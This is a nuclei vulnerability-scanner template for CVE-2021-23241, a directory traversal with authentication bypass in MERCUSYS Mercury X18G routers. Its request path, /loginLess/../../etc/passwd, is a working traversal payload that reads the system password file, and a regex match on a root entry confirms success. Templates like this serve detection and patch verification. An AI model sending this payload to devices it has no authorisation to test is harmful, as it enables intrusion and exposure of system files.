nuclei-templates/cves/2021/CVE-2021-23241.yaml

id: CVE-2021-23241

info:
  name: Mercury Router Web Server Directory Traversal
  author: daffainfo
  severity: medium
  description: MERCUSYS Mercury X18G 1.0.5 devices allow Directory Traversal via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
  reference: |
    - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23241
  tags: cve,cve2021,iot,lfi,router

requests:
  - method: GET
    path:
      - "{{BaseURL}}/loginLess/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[0*]:0:0"
        part: body

      - type: status
        status:
          - 200